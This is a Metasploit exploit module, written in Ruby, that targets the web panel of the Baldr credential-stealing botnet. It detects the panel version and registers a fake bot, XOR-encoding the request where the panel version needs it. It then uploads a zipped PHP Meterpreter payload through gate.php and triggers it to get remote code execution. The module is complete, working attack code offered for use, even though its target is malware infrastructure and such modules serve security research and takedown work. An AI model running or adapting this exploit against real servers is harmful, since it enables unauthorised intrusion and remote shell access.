## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/http' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Baldr Botnet Panel Shell Upload Exploit", 'Description' => %q{ This module exploits the file upload vulnerability of baldr malware panel. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı ' # author & msf module ], 'References' => [ ['URL', 'https://prodaft.com'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5, }, 'Platform' => ['php'], 'Arch' => [ ARCH_PHP], 'Targets' => [ ['Auto', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr <= v2.0', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr v2.2', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr v3.0 & v3.1', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']), ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php") ) ver = '' if res.code == 200 if res.body.include?('~;~') targets[3] = targets[0] #target = targets[3] ver = '>= v3.0' elsif res.body.include?(';') #target = targets[2] targets[2] = targets[0] ver = 'v2.2' elsif res.body.size < 4 targets[1] = targets[0] #target = targets[1] ver = '<= v2.0' else Exploit::CheckCode::Safe end print_status("Baldr verison: #{ver}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit name = '.'+Rex::Text.rand_text_alpha(4) files = [ {data: payload.encoded, fname: "#{name}.php"} ] zip = Msf::Util::EXE.to_zip(files) hwid = Rex::Text.rand_text_alpha(8).upcase if targets[0] check end case target when targets[3] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php")} ) key = res.body.to_s.split('~;~')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0" data = xor(data,key) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => data.to_s } ) if res.code == 200 print_good("Bot successfully registered.") else print_error("New bot register failed !") return false end data = xor(zip.to_s,key) form = Rex::MIME::Message.new form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end when targets[2] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php")} ) key = res.body.to_s.split(';')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***" data << zip.to_s result = "" codepoints = data.each_codepoint.to_a codepoints.each_index do |i| result += (codepoints[i] ^ key[i % key.size].ord).chr end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => result.to_s ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end else res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => zip.to_s, 'encode_params' => true, 'vars_get' => { 'hwid' => hwid, 'os' => 'Windows 7 x64', 'cookie' => '0', 'pswd' => '0', 'credit' => '0', 'wallet' => '0', 'file' => '1', 'autofill' => '0', 'version' => 'v2.0' } ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3 ) print_good("Payload successfully triggered !") end def xor(data, key) result = "" codepoints = data.each_codepoint.to_a codepoints.each_index do |i| result += (codepoints[i] ^ key[i % key.size].ord).chr end return result end end